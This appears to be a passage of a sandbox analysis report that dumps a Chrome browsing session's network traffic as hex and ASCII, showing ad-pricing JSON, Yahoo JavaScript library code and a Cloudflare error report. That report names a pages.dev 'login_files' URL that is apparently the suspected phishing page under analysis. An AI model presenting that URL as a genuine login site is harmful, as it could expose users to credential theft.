.0","flr_price":"0.0","flr_strategy":"dynamic"},"25082":{"dfs_fallback_flr_price":"0.0","flr_price":"0.0","flr_strategy":"dynamic"},"25113":{"dfs_fallback_flr_price":"0.0","flr_price":"0.0","flr_strategy":"dynamic"},"25307":{"dfs_fallback_flr_price":"0.0"
2024-01-10 23:27:11 UTC	16384	IN	Data Raw: 69 63 65 22 3a 22 30 2e 30 35 22 2c 22 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 22 2c 22 66 6c 72 5f 73 74 72 61 74 65 67 79 22 3a 22 64 79 6e 61 6d 69 63 22 7d 2c 22 32 35 33 30 37 22 3a 7b 22 64 66 73 5f 66 61 6c 6c 62 61 63 6b 5f 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 35 22 2c 22 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 22 2c 22 66 6c 72 5f 73 74 72 61 74 65 67 79 22 3a 22 64 79 6e 61 6d 69 63 22 7d 2c 22 32 35 33 30 38 22 3a 7b 22 64 66 73 5f 66 61 6c 6c 62 61 63 6b 5f 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 35 22 2c 22 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 22 2c 22 66 6c 72 5f 73 74 72 61 74 65 67 79 22 3a 22 64 79 6e 61 6d 69 63 22 7d 2c 22 32 35 33 30 39 22 3a 7b 22 64 66 73 5f 66 61 6c 6c 62 61 63 6b 5f 66 6c 72 5f 70 72 Data Ascii: ice":"0.05","flr_price":"0.0","flr_strategy":"dynamic"},"25307":{"dfs_fallback_flr_price":"0.05","flr_price":"0.0","flr_strategy":"dynamic"},"25308":{"dfs_fallback_flr_price":"0.05","flr_price":"0.0","flr_strategy":"dynamic"},"25309":{"dfs_fallback_flr_pr
2024-01-10 23:27:11 UTC	7952	IN	Data Raw: 6d 5f 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 30 22 2c 22 67 61 6d 5f 66 6c 72 5f 73 74 72 61 74 65 67 79 22 3a 22 64 79 6e 61 6d 69 63 22 2c 22 70 72 6f 76 69 64 65 72 73 22 3a 7b 22 32 35 30 31 34 22 3a 7b 22 64 66 73 5f 66 61 6c 6c 62 61 63 6b 5f 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 35 22 2c 22 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 22 2c 22 66 6c 72 5f 73 74 72 61 74 65 67 79 22 3a 22 64 79 6e 61 6d 69 63 22 7d 2c 22 32 35 30 38 32 22 3a 7b 22 64 66 73 5f 66 61 6c 6c 62 61 63 6b 5f 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 35 22 2c 22 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 22 2c 22 66 6c 72 5f 73 74 72 61 74 65 67 79 22 3a 22 64 79 6e 61 6d 69 63 22 7d 2c 22 32 35 31 31 33 22 3a 7b 22 64 66 73 5f 66 61 6c 6c 62 61 63 6b 5f Data Ascii: m_flr_price":"0.00","gam_flr_strategy":"dynamic","providers":{"25014":{"dfs_fallback_flr_price":"0.05","flr_price":"0.0","flr_strategy":"dynamic"},"25082":{"dfs_fallback_flr_price":"0.05","flr_price":"0.0","flr_strategy":"dynamic"},"25113":{"dfs_fallback_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49849	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	542	OUT	GET /aaq/wf/wf-lightbox-1.10.6-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	823	IN	HTTP/1.1 200 OK x-amz-id-2: /X9WYEUf+i1e4Z7tKtBjzBcM8IGzaZMCN1fJe7CdhLscbWKvalBh810OphFRGdpm34edxOPNUbL8CsAs9t/NXWwJoPk637tY x-amz-request-id: 24BJH415CVH62B55 Date: Wed, 10 Jan 2024 23:27:12 GMT Last-Modified: Wed, 01 Mar 2023 01:43:59 GMT ETag: "69831b2f7b26bc6dd6321c8dcde85968" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: K.68hs0p5c2EOJjfXuKP9dx0XBa4hSTK Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 13914 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:11 UTC	1091	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 6c 69 67 68 74 62 6f 78 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 6c 69 67 68 74 62 6f 78 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-lightbox",[],t):"object"==typeof exports?exports["wafer-lightbox"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafe
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 21 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 3f 65 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 Data Ascii: t call a class as a function")}function r(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t\|\|"object"!=typeof t&&"function"!=typeof t?e:t}function s(e,t){if("function"!=typeof t&&null!==t)throw new T
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 6e 3d 74 5b 6f 5d 3b 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6e 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 28 6e 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2e 6b 65 79 2c 6e 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 2c 6e 29 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 6e 26 26 65 28 74 2c 6e 29 2c 74 7d 7d 28 29 2c 70 3d 77 69 6e 64 6f 77 2e 77 61 66 Data Ascii: function(){function e(e,t){for(var o=0;o<t.length;o++){var n=t[o];n.enumerable=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,o,n){return o&&e(t.prototype,o),n&&e(t,n),t}}(),p=window.waf
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 61 72 67 65 74 3b 72 65 74 75 72 6e 20 68 2e 5f 75 74 69 6c 3d 7b 62 6f 75 6e 64 61 72 79 3a 70 2c 63 6c 6f 73 65 44 65 6c 61 79 3a 6e 75 6c 6c 3d 3d 3d 79 7c 7c 76 6f 69 64 20 30 3d 3d 3d 79 3f 30 3a 4e 75 6d 62 65 72 28 79 29 2c 63 6c 6f 73 65 4f 6e 53 77 69 70 65 3a 6e 75 6c 6c 3d 3d 3d 67 7c 7c 76 6f 69 64 20 30 3d 3d 3d 67 3f 30 3a 4e 75 6d 62 65 72 28 67 29 2c 63 6c 6f 73 65 4f 6e 53 77 69 70 65 44 6f 77 6e 3a 6e 75 6c 6c 3d 3d 3d 76 7c 7c 76 6f 69 64 20 30 3d 3d 3d 76 3f 30 3a 4e 75 6d 62 65 72 28 76 29 2c 65 6c 65 6d 3a 65 2c 65 72 72 6f 72 43 6c 61 73 73 3a 6e 2c 64 65 6c 61 79 3a 6e 75 6c 6c 3d 3d 3d 62 7c 7c 76 6f 69 64 20 30 3d 3d 3d 62 3f 30 3a 4e 75 6d 62 65 72 28 62 29 2c 6b 65 79 3a 64 2c 73 65 6c 65 63 74 6f 72 3a 61 2c 73 75 63 63 65 73 Data Ascii: arget;return h._util={boundary:p,closeDelay:null===y\|\|void 0===y?0:Number(y),closeOnSwipe:null===g\|\|void 0===g?0:Number(g),closeOnSwipeDown:null===v\|\|void 0===v?0:Number(v),elem:e,errorClass:n,delay:null===b\|\|void 0===b?0:Number(b),key:d,selector:a,succes
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 2c 74 68 69 73 2e 68 61 6e 64 6c 65 54 6f 75 63 68 53 74 61 72 74 29 2c 67 28 70 2c 22 74 6f 75 63 68 65 6e 64 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 54 6f 75 63 68 45 6e 64 29 29 2c 6e 26 26 67 28 70 2c 22 74 6f 75 63 68 6d 6f 76 65 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 54 6f 75 63 68 4d 6f 76 65 29 2c 45 28 68 2c 22 74 72 61 6e 73 66 6f 72 6d 22 2c 32 30 30 2c 22 65 61 73 65 2d 6f 75 74 22 29 2c 61 26 26 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 69 64 64 65 6e 22 2c 21 30 29 2c 64 29 7b 76 61 72 20 62 3d 64 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3b 69 66 28 21 62 29 7b 76 61 72 20 79 3d 62 3d 22 77 61 66 65 72 2d 6c 69 67 68 74 62 6f 78 2d 6c 61 62 65 6c 2d 22 2b 44 61 74 65 2e 6e 6f 77 28 29 3b 64 2e 73 65 74 Data Ascii: ,this.handleTouchStart),g(p,"touchend",this.handleTouchEnd)),n&&g(p,"touchmove",this.handleTouchMove),E(h,"transform",200,"ease-out"),a&&a.setAttribute("aria-hidden",!0),d){var b=d.getAttribute("id");if(!b){var y=b="wafer-lightbox-label-"+Date.now();d.set
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 6d 3b 6f 26 26 28 65 2e 73 68 69 66 74 4b 65 79 3f 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 3d 3d 6f 26 26 28 6e 2e 66 6f 63 75 73 28 29 2c 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 29 3a 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 3d 3d 6e 26 26 28 6f 2e 66 6f 63 75 73 28 29 2c 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 29 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 43 6c 69 63 6b 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 75 74 69 6c 2e 77 72 61 70 70 65 72 4d 61 70 26 26 28 22 63 6c 69 63 6b 22 3d 3d 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 74 72 69 67 67 65 72 26 26 74 68 69 73 2e 6f 70 65 6e 28 29 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c Data Ascii: m;o&&(e.shiftKey?document.activeElement===o&&(n.focus(),e.preventDefault()):document.activeElement===n&&(o.focus(),e.preventDefault()))}}},{key:"handleClick",value:function(){this._util.wrapperMap&&("click"===this._util.trigger&&this.open())}},{key:"handl
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 70 65 43 6c 6f 73 65 28 29 7d 7d 2c 7b 6b 65 79 3a 22 73 65 74 46 6f 63 75 73 61 62 6c 65 45 6c 65 6d 65 6e 74 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 77 72 61 70 70 65 72 4d 61 70 2c 74 3d 65 2e 77 72 61 70 70 65 72 45 6c 65 6d 2c 6f 3d 6d 28 74 29 3b 74 68 69 73 2e 5f 73 74 61 74 65 2e 66 69 72 73 74 46 6f 63 75 73 61 62 6c 65 45 6c 65 6d 3d 6f 5b 30 5d 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 6c 61 73 74 46 6f 63 75 73 61 62 6c 65 45 6c 65 6d 3d 6f 5b 6f 2e 6c 65 6e 67 74 68 2d 31 5d 7d 7d 2c 7b 6b 65 79 3a 22 74 65 6d 70 6c 61 74 65 54 65 78 74 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 74 3d 65 2e 62 6f 75 6e 64 61 72 79 2c Data Ascii: peClose()}},{key:"setFocusableElements",value:function(){var e=this._util.wrapperMap,t=e.wrapperElem,o=m(t);this._state.firstFocusableElem=o[0],this._state.lastFocusableElem=o[o.length-1]}},{key:"templateText",get:function(){var e=this._util,t=e.boundary,
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 73 70 6c 61 79 3a 22 6e 6f 6e 65 22 2c 68 65 69 67 68 74 3a 22 31 30 30 25 22 2c 6c 65 66 74 3a 22 30 22 2c 70 6f 73 69 74 69 6f 6e 3a 22 66 69 78 65 64 22 2c 72 69 67 68 74 3a 22 30 22 2c 74 6f 70 3a 22 30 22 2c 77 69 64 74 68 3a 22 31 30 30 25 22 7d 2c 49 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 75 74 69 6c 73 2c 52 3d 49 2e 62 69 6e 64 45 76 65 6e 74 2c 71 3d 49 2e 67 65 74 43 6f 6e 66 69 67 46 72 6f 6d 4a 53 4f 4e 53 63 72 69 70 74 4e 6f 64 65 2c 48 3d 49 2e 67 65 74 54 65 6d 70 6c 61 74 65 43 6f 6e 74 65 6e 74 2c 55 3d 49 2e 73 65 74 54 69 6d 65 6f 75 74 2c 56 3d 49 2e 74 68 72 6f 74 74 6c 65 2c 4a 3d 49 2e 75 6e 62 69 6e 64 45 76 65 6e 74 2c 58 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 62 61 73 65 2c 7a 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 63 Data Ascii: splay:"none",height:"100%",left:"0",position:"fixed",right:"0",top:"0",width:"100%"},I=window.wafer.utils,R=I.bindEvent,q=I.getConfigFromJSONScriptNode,H=I.getTemplateContent,U=I.setTimeout,V=I.throttle,J=I.unbindEvent,X=window.wafer.base,z=window.wafer.c
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 72 20 65 3d 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 59 7c 7c 30 3b 46 3f 28 65 65 3d 51 2e 73 74 79 6c 65 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 51 2e 73 74 79 6c 65 2c 7b 6f 76 65 72 66 6c 6f 77 3a 22 68 69 64 64 65 6e 22 2c 70 6f 73 69 74 69 6f 6e 3a 22 66 69 78 65 64 22 2c 74 6f 70 3a 22 2d 22 2b 65 2b 22 70 78 22 2c 77 69 64 74 68 3a 22 31 30 30 25 22 7d 29 2c 74 65 3d 24 2e 73 74 79 6c 65 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 24 2e 73 74 79 6c 65 2c 7b 68 65 69 67 68 74 3a 22 31 30 30 76 68 22 7d 29 29 3a 28 74 65 3d 24 2e 73 74 79 6c 65 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 24 2e 73 74 79 6c 65 2c 7b 6f 76 65 72 66 6c 6f 77 3a 22 68 69 64 64 65 6e 22 7d 29 29 2c 79 2e 5f 73 74 61 74 65 2e 6c 61 73 74 53 63 72 6f 6c 6c 59 3d 65 2c Data Ascii: r e=window.scrollY\|\|0;F?(ee=Q.style,Object.assign(Q.style,{overflow:"hidden",position:"fixed",top:"-"+e+"px",width:"100%"}),te=$.style,Object.assign($.style,{height:"100vh"})):(te=$.style,Object.assign($.style,{overflow:"hidden"})),y._state.lastScrollY=e,
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 6c 6c 59 7c 7c 30 29 2c 65 2e 5f 73 74 61 74 65 2e 6c 61 73 74 53 63 72 6f 6c 6c 59 3d 30 7d 2c 31 30 29 2c 46 7c 7c 28 24 2e 73 74 79 6c 65 3d 74 65 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 69 2e 73 74 79 6c 65 2c 7b 64 69 73 70 6c 61 79 3a 22 6e 6f 6e 65 22 7d 29 2c 77 26 26 77 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 69 64 64 65 6e 22 29 2c 75 2e 63 6c 6f 73 65 28 29 2c 64 26 26 51 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 6c 69 67 74 68 62 6f 78 2d 73 6f 75 72 63 65 2d 22 2b 64 2b 22 2d 6f 70 65 6e 22 29 2c 58 2e 65 6d 69 74 57 61 66 65 72 45 76 65 6e 74 28 22 6c 69 67 68 74 62 6f 78 3a 63 6c 6f 73 65 22 2c 7b 65 6c 65 6d 3a 69 2c 6d 65 74 61 3a 7b 73 6f 75 72 63 65 3a 6e 2c 74 61 Data Ascii: llY\|\|0),e._state.lastScrollY=0},10),F\|\|($.style=te),Object.assign(i.style,{display:"none"}),w&&w.removeAttribute("aria-hidden"),u.close(),d&&Q.classList.remove("wafer-ligthbox-source-"+d+"-open"),X.emitWaferEvent("lightbox:close",{elem:i,meta:{source:n,ta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49850	35.190.80.1	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	485	OUT	POST /report/v3?s=fjkN7CTLzCAHy%2BTjWKPys1UJgMg8ybb3tLJ9rf2Oyj3kUFdRrjTn%2BQ17kwkcGVfs%2FQlLMjM51Oqv2vggVmNaTXSx8ctmKg9jGqDnS97oDyHdMSVbTir70izZ2M0JQtCoVerzsQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 1837 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	1837	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 34 34 34 30 36 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 35 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 73 65 65 2d 65 69 6d 2e 70 61 67 65 73 2e 64 65 76 2f 6c 6f 67 69 6e 5f 66 69 6c 65 73 2f 6c 6f 67 61 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 36 2e 34 37 2e 31 32 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 61 62 61 6e 64 6f 6e 65 64 22 7d 2c 22 74 79 70 65 22 3a 22 6e Data Ascii: [{"age":44406,"body":{"elapsed_time":152,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://see-eim.pages.dev/login_files/loga","sampling_fraction":1.0,"server_ip":"172.66.47.129","status_code":200,"type":"abandoned"},"type":"n
2024-01-10 23:27:11 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 10 Jan 2024 23:27:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49851	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	544	OUT	GET /aaq/wf/wf-scrollview-2.22.2-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	835	IN	HTTP/1.1 200 OK x-amz-id-2: 5SS+3pws17tYgkkq9ylSZPeRm1zl2tUZf/EvvUYM9vtGFxSPMPQ7y0ZmpbI0QIQG0sSwECFHmI/PIY7wB8UhuumMVKmhHfP4QX2XVjTi20s= x-amz-request-id: 24BPHKE41Q13Z7E5 Date: Wed, 10 Jan 2024 23:27:12 GMT Last-Modified: Thu, 04 Jan 2024 01:37:50 GMT ETag: "84439433192fea5b2c6de991dbb908b0" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: m9PASXvvA3rS5amqnDs07ZXOsIzuq8R4 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 34587 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:11 UTC	760	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 73 63 72 6f 6c 6c 76 69 65 77 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 73 63 72 6f 6c 6c 76 69 65 77 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-scrollview",[],t):"object"==typeof exports?exports["wafer-scrollview"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 74 29 7d 2c 74 2e 70 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 61 61 71 2f 77 66 2f 22 2c 74 28 74 2e 73 3d 22 2e 2f 73 72 63 2f 65 6e 74 72 79 2e 6a 73 22 29 7d 28 7b 22 2e 2f 73 72 63 2f 65 6e 74 72 79 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f Data Ascii: eturn Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,i){"use strict";function s(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}functio
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 Data Ascii: null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}Object.defineProperty(t,"__esModule",{value
